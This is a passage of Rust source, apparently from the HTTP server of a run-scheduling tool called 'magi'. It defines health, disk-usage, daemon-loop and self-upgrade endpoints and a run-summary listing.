2754 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2755 None => format!("run {id} is finishing"),
2756 });
2757 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2758 .filter(|t| parking && !t.is_empty())
2759 .map(|t| format!("{t} finishing"));
2760 let waiting_on = match (run_text, talks_text) {
2761 (None, None) => None,
2762 (run, talks) => {
2763 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2764 Some(format!(
2765 "{} before the address is handed over{waited}",
2766 parts.join(" and ")
2767 ))
2768 }
2769 };
2770 let detail = progress
2771 .detail
2772 .clone()
2773 .or_else(|| updater::read_note(&ui.home, &progress));
2774 let stalled = updater::stall(&progress, lease.as_ref(), now);
2775 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2776 UpgradeProgressView {
2777 trigger: progress.trigger,
2778 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2779 stuck_kind: stalled.map(|s| s.kind),
2780 handover_alive: alive.is_some(),
2781 stage: progress.stage,
2782 from: progress.from,
2783 to: progress.to,
2784 waiting_on,
2785 started_at: progress.started_at,
2786 updated_at: progress.updated_at,
2787 detail,
2788 }
2789}
2790
2791#[derive(Debug, Serialize)]
2794struct DiskView {
2795 #[serde(skip_serializing_if = "Option::is_none")]
2797 free_bytes: Option<u64>,
2798 runs_bytes: Option<u64>,
2800 worktrees_bytes: Option<u64>,
2802 #[serde(skip_serializing_if = "Option::is_none")]
2804 cache_bytes: Option<u64>,
2805 retention: Option<crate::retention::Report>,
2807}
2808
2809const DISK_REFRESH: Duration = Duration::from_secs(60);
2812
2813#[derive(Debug, Clone, PartialEq, Eq)]
2814struct DiskScope {
2815 runs: PathBuf,
2816 worktrees: PathBuf,
2817 cache: Option<PathBuf>,
2818}
2819
2820impl DiskScope {
2821 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2822 Self {
2823 runs: ui.runs.clone(),
2824 worktrees: ui.worktrees_root.clone(),
2825 cache: cfg.and_then(Config::cache_dir),
2826 }
2827 }
2828}
2829
2830#[derive(Debug, Clone, Copy, Default)]
2831struct DiskCapacity {
2832 free_bytes: Option<u64>,
2833 runs_bytes: Option<u64>,
2834 worktrees_bytes: Option<u64>,
2835 cache_bytes: Option<u64>,
2836}
2837
2838impl DiskCapacity {
2839 fn measure(scope: &DiskScope) -> Self {
2840 Self {
2841 free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2842 runs_bytes: disk_capacity_size(&scope.runs),
2843 worktrees_bytes: disk_capacity_size(&scope.worktrees),
2844 cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2845 }
2846 }
2847
2848 fn retain_successes(&mut self, next: Self) {
2849 self.free_bytes = next.free_bytes.or(self.free_bytes);
2850 self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2851 self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2852 self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2853 }
2854}
2855
2856fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2859 let metadata = match std::fs::symlink_metadata(path) {
2860 Ok(metadata) => metadata,
2861 Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2862 Err(_) => return None,
2863 };
2864 if !metadata.is_dir() {
2865 return Some(if metadata.is_file() {
2866 metadata.len()
2867 } else {
2868 0
2869 });
2870 }
2871 let mut total = 0;
2872 let mut stack = vec![path.to_owned()];
2873 while let Some(dir) = stack.pop() {
2874 for entry in std::fs::read_dir(dir).ok()? {
2875 let entry = entry.ok()?;
2876 let metadata = entry.metadata().ok()?;
2877 if metadata.is_dir() {
2878 stack.push(entry.path());
2879 } else if metadata.is_file() {
2880 total += metadata.len();
2881 }
2882 }
2883 }
2884 Some(total)
2885}
2886
2887#[derive(Debug, Default)]
2888struct DiskObservation {
2889 scope: Option<DiskScope>,
2890 capacity: DiskCapacity,
2891 in_flight: bool,
2892 finished: Option<std::time::Instant>,
2893}
2894
2895impl DiskObservation {
2896 fn observe(
2897 state: &Arc<Mutex<Self>>,
2898 scope: DiskScope,
2899 measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2900 ) -> DiskCapacity {
2901 let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2902 if observation.scope.as_ref() != Some(&scope) {
2903 observation.scope = Some(scope.clone());
2904 observation.capacity = DiskCapacity::default();
2905 observation.finished = None;
2906 }
2907 let capacity = observation.capacity;
2908 if observation.in_flight
2909 || observation
2910 .finished
2911 .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2912 {
2913 return capacity;
2914 }
2915 observation.in_flight = true;
2916 drop(observation);
2917
2918 let refresh = DiskRefresh {
2919 state: Arc::clone(state),
2920 scope,
2921 };
2922 tokio::task::spawn_blocking(move || {
2923 let next = measure(&refresh.scope);
2924 let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2925 if observation.scope.as_ref() == Some(&refresh.scope) {
2926 observation.capacity.retain_successes(next);
2927 }
2928 drop(observation);
2929 drop(refresh);
2932 });
2933 capacity
2934 }
2935}
2936
2937struct DiskRefresh {
2938 state: Arc<Mutex<DiskObservation>>,
2939 scope: DiskScope,
2940}
2941
2942impl Drop for DiskRefresh {
2943 fn drop(&mut self) {
2944 let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2945 observation.in_flight = false;
2946 if observation.scope.as_ref() == Some(&self.scope) {
2947 observation.finished = Some(std::time::Instant::now());
2949 }
2950 }
2951}
2952
2953impl DiskView {
2954 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2956 let capacity = DiskObservation::observe(
2957 &ui.monitor.disk,
2958 DiskScope::of(ui, cfg),
2959 DiskCapacity::measure,
2960 );
2961 Self::with_capacity(ui, capacity)
2962 }
2963
2964 fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2965 Self {
2966 free_bytes: crate::disk::free_bytes(&ui.runs)
2967 .ok()
2968 .or(capacity.free_bytes),
2969 runs_bytes: capacity.runs_bytes,
2970 worktrees_bytes: capacity.worktrees_bytes,
2971 cache_bytes: capacity.cache_bytes,
2972 retention: ui
2973 .runs
2974 .parent()
2975 .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2976 .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2977 }
2978 }
2979}
2980
2981#[derive(Debug, Serialize)]
2983struct DaemonView {
2984 running: bool,
2985 idle: Option<bool>,
2986 pid: Option<u32>,
2987 current: Vec<daemon::Current>,
2991 completed: Option<u64>,
2992 stale_for_secs: Option<i64>,
2993}
2994
2995impl DaemonView {
2996 fn of(status: Option<daemon::Reading>) -> Self {
3000 let Some(status) = status else {
3001 return Self {
3002 running: false,
3003 idle: None,
3004 pid: None,
3005 current: Vec::new(),
3006 completed: None,
3007 stale_for_secs: None,
3008 };
3009 };
3010 let now = Timestamp::now();
3011 let age = status.age_secs(now);
3012 Self {
3013 running: status.running(now),
3014 idle: Some(status.idle),
3015 pid: status.pid,
3016 current: status.current,
3017 completed: Some(status.completed),
3018 stale_for_secs: age,
3019 }
3020 }
3021}
3022
3023fn refresh_health_config(ui: &Arc<Ui>) {
3026 let mut cache = ui
3027 .monitor
3028 .disk_cache
3029 .lock()
3030 .unwrap_or_else(PoisonError::into_inner);
3031 if cache.loading
3032 || cache
3033 .measured
3034 .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3035 {
3036 return;
3037 }
3038 cache.loading = true;
3039 let weak = Arc::downgrade(ui);
3040 std::thread::spawn(move || {
3041 let Some(ui) = weak.upgrade() else { return };
3042 let cfg = deputy_config(&ui.repo);
3043 let update = cached_update_view(cfg.as_ref());
3044 let mut cache = ui
3045 .monitor
3046 .disk_cache
3047 .lock()
3048 .unwrap_or_else(PoisonError::into_inner);
3049 cache.config = cfg;
3050 cache.update = Some(update);
3051 cache.measured = Some(std::time::Instant::now());
3052 cache.loading = false;
3053 });
3054}
3055
3056fn health_counts(
3057 ui: &Ui,
3058 fallback_questions_rev: u64,
3059) -> ApiResult<(usize, usize, usize, u64, usize)> {
3060 let mut index = ui
3061 .monitor
3062 .health_index
3063 .lock()
3064 .unwrap_or_else(PoisonError::into_inner);
3065 let ids = run_ids(&ui.runs);
3066 let seen: HashSet<_> = ids.iter().cloned().collect();
3067 index.runs.retain(|id, _| seen.contains(id));
3068 let mut unreadable = 0;
3069 for id in ids {
3070 let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3073 let bad = match identity {
3074 Ok(identity) => {
3075 if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3076 let bad = read_run(&ui.runs, &id).is_err();
3077 index.runs.insert(id.clone(), (identity, bad));
3078 #[cfg(test)]
3079 {
3080 index.run_parses += 1;
3081 }
3082 }
3083 index.runs[&id].1
3084 }
3085 Err(_) => true,
3086 };
3087 unreadable += usize::from(bad);
3088 }
3089 let questions_rev = try_stamps(ui.questions.root(), false, true)
3090 .map(|stamps| stamps_revision(&stamps))
3091 .unwrap_or(fallback_questions_rev);
3092 if index.questions.as_ref().is_none_or(|counts| {
3093 counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3094 }) {
3095 let questions = ui.questions.list();
3096 index.questions = Some(QuestionCounts {
3097 revision: questions_rev,
3098 measured: std::time::Instant::now(),
3099 open: questions.iter().filter(|q| q.status.open()).count(),
3100 owner: questions
3101 .iter()
3102 .filter(|q| {
3103 q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3104 })
3105 .count(),
3106 });
3107 }
3108 let notifications_rev =
3109 stamps_revision(&try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?);
3110 if index
3111 .notices
3112 .is_none_or(|(rev, _)| rev != notifications_rev)
3113 {
3114 index.notices = Some((notifications_rev, ui.notices.count_unread()));
3115 }
3116 let questions = index.questions.as_ref().unwrap();
3117 Ok((
3118 unreadable,
3119 questions.open,
3120 questions.owner,
3121 notifications_rev,
3122 index.notices.unwrap().1,
3123 ))
3124}
3125
3126async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3127 let revisions = ui.monitor.revisions(&ui).await?;
3128 refresh_health_config(&ui);
3129 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3130 let reading = daemon::read_status(&ui.home);
3134 let loop_rev = ui.lock_loop().rev;
3138 let (
3139 runs_unreadable,
3140 questions_open,
3141 questions_needs_owner,
3142 notifications_rev,
3143 notifications_unread,
3144 ) = health_counts(&ui, revisions.2)?;
3145 let ((cfg, config_observed, sizes, measured), update) = {
3146 let cache = ui
3147 .monitor
3148 .disk_cache
3149 .lock()
3150 .unwrap_or_else(PoisonError::into_inner);
3151 (
3152 (
3153 cache.config.clone(),
3154 cache.measured.is_some(),
3155 cache.disk.clone(),
3156 cache.measured,
3157 ),
3158 cache.update.clone().unwrap_or(UpdateView {
3159 available: false,
3160 to: None,
3161 }),
3162 )
3163 };
3164 let prior_capacity = {
3168 let mut observation = ui
3169 .monitor
3170 .disk
3171 .lock()
3172 .unwrap_or_else(PoisonError::into_inner);
3173 if observation.scope.is_none()
3176 && let Some(sizes) = sizes
3177 {
3178 observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3179 observation.capacity = DiskCapacity {
3180 runs_bytes: Some(sizes.runs),
3181 worktrees_bytes: Some(sizes.worktrees),
3182 cache_bytes: sizes.cache,
3183 free_bytes: None,
3184 };
3185 observation.finished = measured;
3186 }
3187 observation.scope.as_ref().map(|_| observation.capacity)
3188 };
3189 let disk = if config_observed {
3190 serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3191 } else {
3192 serde_json::to_value(DiskView::with_capacity(
3193 &ui,
3194 prior_capacity.unwrap_or_default(),
3195 ))
3196 .ok()
3197 };
3198 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3199 let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3200 #[cfg(not(test))]
3201 let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3202 #[cfg(test)]
3203 let looping = ui.loop_view(reading.clone());
3204 Ok(Json(HealthView {
3205 jobs: jobs.into_iter().map(WorkerView::from).collect(),
3206 version: env!("CARGO_PKG_VERSION"),
3207 home: ui.home.display().to_string(),
3208 queue_rev: revisions.0,
3209 runs_rev: revisions.1,
3210 questions_rev: revisions.2,
3211 talks_rev: revisions.3,
3212 notifications_rev,
3213 notifications_unread,
3214 loop_rev,
3215 runs_unreadable,
3216 questions_open,
3217 questions_needs_owner,
3218 daemon: DaemonView::of(reading.clone()),
3219 looping,
3220 disk,
3221 update,
3222 upgrade,
3223 upgrade_request_error: ui
3224 .upgrade_request_error
3225 .lock()
3226 .unwrap_or_else(PoisonError::into_inner)
3227 .clone(),
3228 }))
3229 })
3230 .await
3231}
3232
3233#[derive(Debug, Serialize)]
3235struct LoopView {
3236 running: bool,
3238 stopping: bool,
3240 parking: bool,
3242 owned: bool,
3244 repo: String,
3247 merge: Option<String>,
3250 last_error: Option<String>,
3258 daemon: DaemonView,
3261}
3262
3263#[derive(Debug, Clone, Copy)]
3268struct Foreign {
3269 pid: Option<u32>,
3271}
3272
3273impl Foreign {
3274 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3277 if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3281 return None;
3282 }
3283 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3284 }
3285
3286 fn who(&self) -> String {
3289 match self.pid {
3290 Some(pid) => format!("another magi process (pid {pid})"),
3291 None => "another magi process".to_owned(),
3292 }
3293 }
3294}
3295
3296type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3301
3302#[cfg(test)]
3303type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3304
3305#[cfg(test)]
3307fn launch_daemon(
3308 opts: daemon::Opts,
3309 stop: daemon::Stop,
3310) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3311 Box::pin(daemon::serve_until(opts, stop))
3312}
3313
3314#[derive(Debug, Default)]
3316struct LoopState {
3317 #[cfg(test)]
3319 live: Option<Live>,
3320 rev: u64,
3323 last_error: Option<String>,
3326}
3327
3328#[cfg(test)]
3330#[derive(Debug)]
3331struct Live {
3332 stop: daemon::Stop,
3334 handle: tokio::task::JoinHandle<()>,
3339 opts: daemon::Opts,
3343}
3344
3345#[cfg(test)]
3346impl Live {
3347 fn alive(&self) -> bool {
3349 !self.handle.is_finished()
3350 }
3351}
3352
3353fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3360 state.lock().unwrap_or_else(PoisonError::into_inner)
3361}
3362
3363async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3365 blocking(move || {
3366 let reading = daemon::read_status(&ui.home);
3367 #[cfg(not(test))]
3368 let view = ui.try_loop_view(reading)?;
3369 #[cfg(test)]
3370 let view = ui.loop_view(reading);
3371 Ok(Json(view))
3372 })
3373 .await
3374}
3375
3376#[derive(Debug, Deserialize)]
3382#[serde(deny_unknown_fields)]
3383struct LoopCommand {
3384 running: bool,
3385 #[serde(default)]
3395 park: bool,
3396}
3397
3398async fn loop_post(
3401 State(ui): State<Arc<Ui>>,
3402 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3403) -> ApiResult<Json<LoopView>> {
3404 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3407 #[cfg(not(test))]
3408 {
3409 if body.running {
3410 ui.start_detached_loop().await?;
3411 } else {
3412 let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3413 ui.stop_loop(foreign, body.park)?;
3414 }
3415 Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3416 }
3417 #[cfg(test)]
3418 {
3419 blocking(move || {
3420 let reading = daemon::read_status(&ui.home);
3421 let foreign = Foreign::of(reading.as_ref());
3422 if body.running {
3423 ui.start_loop(foreign)?;
3424 } else {
3425 ui.stop_loop(foreign, body.park)?;
3426 }
3427 Ok(Json(ui.loop_view(reading)))
3428 })
3429 .await
3430 }
3431}
3432
3433#[derive(Debug, Serialize)]
3435struct UpgradeView {
3436 from: String,
3438 to: Option<String>,
3440 detail: String,
3442}
3443
3444fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3447 progress.filter(|p| !p.stage.terminal())
3448}
3449
3450fn upgrade_retry_after(message: &str) -> Option<u64> {
3453 if !message.contains("GitHub") || !message.contains("rate limit") {
3454 return None;
3455 }
3456 if message.contains("retry now") {
3457 return Some(0);
3458 }
3459 let duration = message
3460 .split_once("resets in ")
3461 .or_else(|| message.split_once("retry after "))?
3462 .1
3463 .split_once(')')?
3464 .0;
3465 let mut rest = duration.trim();
3466 if rest.is_empty() {
3467 return None;
3468 }
3469 let mut total = 0u64;
3470 while !rest.is_empty() {
3471 let n = rest.find(|c: char| !c.is_ascii_digit())?;
3472 let amount: u64 = rest[..n].parse().ok()?;
3473 let scale = match rest[n..].chars().next()? {
3474 's' => 1,
3475 'm' => 60,
3476 'h' => 3600,
3477 'd' => 86400,
3478 _ => return None,
3479 };
3480 total = total.checked_add(amount.checked_mul(scale)?)?;
3481 rest = rest[n + 1..].trim_start();
3482 }
3483 Some(total)
3484}
3485
3486#[derive(Debug, Clone, Serialize)]
3487struct UpgradeRequestFailure {
3488 occurred_at: String,
3489 error: String,
3490 retry_after_secs: Option<u64>,
3491 retry_at: Option<u64>,
3493}
3494
3495impl UpgradeRequestFailure {
3496 fn new(error: String) -> Self {
3497 let retry_after_secs = upgrade_retry_after(&error);
3498 let now = std::time::SystemTime::now()
3499 .duration_since(std::time::UNIX_EPOCH)
3500 .unwrap_or_default()
3501 .as_secs();
3502 Self {
3503 occurred_at: jiff::Timestamp::now().to_string(),
3504 error,
3505 retry_after_secs,
3506 retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3507 }
3508 }
3509}
3510
3511async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3524 begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3525}
3526
3527async fn begin_upgrade(
3528 ui: &Arc<Ui>,
3529 trigger: updater::UpgradeTrigger,
3530 latest: Option<kaishin::LatestRelease>,
3531) -> Response {
3532 let reading = daemon::read_status(&ui.home);
3533 if let Some(other) = Foreign::of(reading.as_ref()) {
3534 return ApiError::conflict(format!(
3535 "{} is a legacy scheduler without detached restart support. \
3536 Finish or explicitly park its work in the existing UI before \
3537 this first migration; independent schedulers do not need this.",
3538 other.who()
3539 ))
3540 .into_response();
3541 }
3542
3543 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3548 return ApiError::conflict("another request is already preparing an upgrade")
3549 .into_response();
3550 };
3551 if trigger == updater::UpgradeTrigger::Auto {
3554 let cfg = match Config::discover(&ui.repo, None) {
3555 Ok((cfg, _)) => cfg,
3556 Err(e) => {
3557 return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3558 }
3559 };
3560 let Some(latest) = latest else {
3561 return StatusCode::NO_CONTENT.into_response();
3562 };
3563 let busy = ui.auto_upgrade_busy();
3564 let failed = ui
3565 .auto_failed_tag
3566 .lock()
3567 .unwrap_or_else(PoisonError::into_inner)
3568 .clone();
3569 let decision = auto_upgrade_decision(
3570 &cfg.update,
3571 updater::disabled_by_env(),
3572 ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3573 || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3574 busy,
3575 &latest.tag_name,
3576 failed.as_deref(),
3577 );
3578 if decision != AutoUpgradeDecision::Trigger {
3579 let reason = match decision {
3580 AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3581 AutoUpgradeDecision::Skip(reason) => reason,
3582 AutoUpgradeDecision::Trigger => unreachable!(),
3583 };
3584 updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3585 return StatusCode::NO_CONTENT.into_response();
3586 }
3587 ui.upgrade_spawned
3591 .store(true, std::sync::atomic::Ordering::SeqCst);
3592 if ui.auto_upgrade_busy() {
3593 ui.upgrade_spawned
3594 .store(false, std::sync::atomic::Ordering::SeqCst);
3595 updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3596 return StatusCode::NO_CONTENT.into_response();
3597 }
3598 updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3599 return finish_upgrade_request(
3600 ui,
3601 upgrade_checked_for(
3602 ui,
3603 env!("CARGO_PKG_VERSION").into(),
3604 Ok(Some(latest)),
3605 trigger,
3606 ),
3607 );
3608 }
3609 finish_upgrade_request(ui, upgrade_prepare(ui).await)
3610}
3611
3612fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3613 match result {
3614 Ok(out) => {
3615 *ui.upgrade_request_error
3616 .lock()
3617 .unwrap_or_else(PoisonError::into_inner) = None;
3618 out.into_response()
3619 }
3620 Err(error) if error.status != StatusCode::CONFLICT => {
3621 let failure = UpgradeRequestFailure::new(error.message);
3622 *ui.upgrade_request_error
3623 .lock()
3624 .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3625 let mut response = (error.status, Json(&failure)).into_response();
3626 if let Some(value) = failure
3627 .retry_after_secs
3628 .and_then(|secs| secs.to_string().parse().ok())
3629 {
3630 response.headers_mut().insert("retry-after", value);
3631 }
3632 response
3633 }
3634 Err(error) => error.into_response(),
3635 }
3636}
3637
3638async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3639 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3640 return Err(ApiError::conflict(
3641 "an upgrade is already in progress (this process started one and it \
3642 has not finished or failed yet)",
3643 ));
3644 }
3645 let recorded = updater::read_progress(&ui.home);
3646 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3647 return Err(ApiError::conflict(format!(
3648 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3649 stays stuck, restart the deck; on start it settles a stale record.",
3650 p.stage.as_str(),
3651 p.from,
3652 p.to.as_deref().unwrap_or("?"),
3653 )));
3654 }
3655
3656 if crate::updater::disabled_by_env() {
3662 return Ok((
3663 StatusCode::OK,
3664 Json(UpgradeView {
3665 from: env!("CARGO_PKG_VERSION").to_owned(),
3666 to: None,
3667 detail: format!(
3668 "Automatic updates are disabled by {}. Nothing was parked \
3669 and nothing restarted.",
3670 crate::updater::NO_AUTOUPDATE_ENV
3671 ),
3672 }),
3673 ));
3674 }
3675
3676 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3679 let from = env!("CARGO_PKG_VERSION").to_owned();
3680 let latest = match crate::updater::Checker::new(&cfg.update) {
3681 Some(checker) => checker.newer_release().await,
3682 None => Ok(None),
3683 };
3684 upgrade_checked(ui, from, latest)
3685}
3686
3687fn upgrade_checked(
3688 ui: &Arc<Ui>,
3689 from: String,
3690 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3691) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3692 upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3693}
3694
3695fn upgrade_checked_for(
3696 ui: &Arc<Ui>,
3697 from: String,
3698 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3699 trigger: updater::UpgradeTrigger,
3700) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3701 let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3702 let Some(latest) = latest else {
3703 return Ok((
3704 StatusCode::OK,
3705 Json(UpgradeView {
3706 from,
3707 to: None,
3708 detail: "Already on the newest release. Nothing was parked \
3709 and nothing restarted."
3710 .to_owned(),
3711 }),
3712 ));
3713 };
3714
3715 let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3716
3717 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3721 progress.trigger = trigger;
3722 updater::write_progress_logged(&ui.home, &progress);
3723
3724 let home = ui.home.clone();
3725 ui.upgrade_spawned
3726 .store(true, std::sync::atomic::Ordering::SeqCst);
3727 let spawned = Arc::clone(&ui.upgrade_spawned);
3728 let runner = ui.upgrade_runner;
3729 let failed = ui.auto_failed_tag.clone();
3730 let tag = latest.tag_name.clone();
3731 tokio::spawn(async move {
3732 if let Err(e) = runner(home.clone()).await {
3733 if trigger == updater::UpgradeTrigger::Auto {
3734 *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3735 }
3736 tracing::error!("the upgrade did not complete: {e:#}");
3737 let _ = updater::fail_progress(&home, &format!("{e:#}"));
3741 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3743 }
3744 });
3745
3746 Ok((
3747 StatusCode::ACCEPTED,
3748 Json(UpgradeView {
3749 from,
3750 to: Some(latest.tag_name),
3751 detail,
3752 }),
3753 ))
3754}
3755
3756async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3761 crate::updater::run_self_update(true, false, true).await?;
3764 updater::log_step(&home, "binary replaced - recording the replaced stage");
3765 if let Some(mut progress) = updater::read_progress(&home) {
3766 progress.advance(updater::Stage::Replaced);
3767 updater::write_progress_logged(&home, &progress);
3768 }
3769 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3770 HANDOVER.notify_one();
3771 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3772 Ok(())
3773}
3774
3775#[derive(Debug, Serialize)]
3781struct RunSummary {
3782 activity: String,
3783 id: String,
3784 short: String,
3785 status: String,
3786 done: bool,
3787 instruction: String,
3788 title: String,
3789 repo: String,
3790 repo_name: String,
3791 created_at: String,
3792 updated_at: String,
3793 candidates: usize,
3794 viable: usize,
3795 judges: usize,
3796 winner: Option<char>,
3797 reviews: usize,
3798 quota_losses: usize,
3799 event: Option<String>,
3800 superseded_by: Option<String>,
3805 waiting: bool,
3812 live: crate::run::Liveness,
3816 pr: Option<crate::run::PrRecord>,
3818 unmerged_by_design: bool,
3824 #[serde(default)]
3827 display_status: String,
3828 #[serde(default)]
3831 badge_status: String,
3832 origin_label: String,
3835}
3836
3837impl RunSummary {
3838 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3839 Self {
3840 activity: crate::run_progress::activity(state, live, waiting),
3841 id: state.id.clone(),
3842 short: state.short().to_owned(),
3843 status: status_word(state.status),
3844 done: state.status.done(),
3845 unmerged_by_design: state.unmerged_by_design(),
3846 display_status: run_display_status(state, waiting, live),
3847 badge_status: run_display_status(state, waiting, live),
3848 instruction: state.instruction.clone(),
3849 title: title_from(&state.instruction, TITLE_MAX),
3850 repo: state.repo.display().to_string(),
3851 repo_name: state
3852 .repo
3853 .file_name()
3854 .map(|n| n.to_string_lossy().into_owned())
3855 .unwrap_or_default(),
3856 created_at: state.created_at.to_string(),
3857 updated_at: state.updated_at.to_string(),
3858 candidates: state.candidates.len(),
3859 viable: state.viable().len(),
3860 judges: state.config.graph.judges,
3861 winner: state.winner().map(|c| c.label),
3862 reviews: state.reviews.len(),
3863 quota_losses: state.quota.len(),
3864 event: state
3865 .verification_blocking_cause()
3866 .or_else(|| state.events.last().map(|e| e.message.clone())),
3867 waiting,
3868 live,
3869 superseded_by: None,
3872 pr: state.pr.clone(),
3873 origin_label: crate::run::origin_label(state.origin.as_ref()),
3874 }
3875 }
3876}
3877
3878fn status_word(status: RunStatus) -> String {
3881 status.as_str().to_owned()
3885}
3886
3887fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3893 if waiting {
3894 return "waiting".to_owned();
3895 }
3896 if state.unmerged_by_design() {
3897 return "unmerged".to_owned();
3898 }
3899 if !state.status.done() && live == crate::run::Liveness::Dead {
3900 if state.parked {
3903 return "parked".to_owned();
3904 }
3905 return "stale".to_owned();
3906 }
3907 status_word(state.status)
3908}
3909
3910fn run_badge_status(
3918 state: &RunState,
3919 display_status: &str,
3920 live: crate::run::Liveness,
3921 superseded: bool,
3922) -> String {
3923 if state.status.done() || live == crate::run::Liveness::Live {
3924 return display_status.to_owned();
3925 }
3926 if superseded {
3927 return "superseded".to_owned();
3928 }
3929 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3933 return "stale".to_owned();
3934 }
3935 display_status.to_owned()
3936}
3937
3938#[derive(Debug, Deserialize)]
3940struct ListQuery {
3941 #[serde(default)]
3942 limit: Option<usize>,
3943 ids: Option<String>,
3945}
3946
3947impl ListQuery {
3948 fn contains(&self, id: &str) -> bool {
3949 self.ids
3950 .as_ref()
3951 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3952 }
3953}
3954
3955async fn runs_list(
3956 State(ui): State<Arc<Ui>>,
3957 Query(q): Query<ListQuery>,
3958) -> ApiResult<Json<Vec<RunSummary>>> {
3959 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3960 blocking(move || {
3961 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3962 let states = run_ids(&ui.runs)
3963 .into_iter()
3964 .filter_map(|id| read_run(&ui.runs, &id).ok())
3969 .take(limit)
3970 .filter(|run| q.contains(&run.id));
3971 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3972 let summaries = summarize(
3973 states,
3974 &open_runs,
3975 &claimed,
3976 &superseded,
3977 |p| probe.borrow_mut().status(p),
3978 |p| probe.borrow_mut().started_at(p),
3979 );
3980 Ok(Json(summaries))
3981 })
3982 .await
3983}
3984
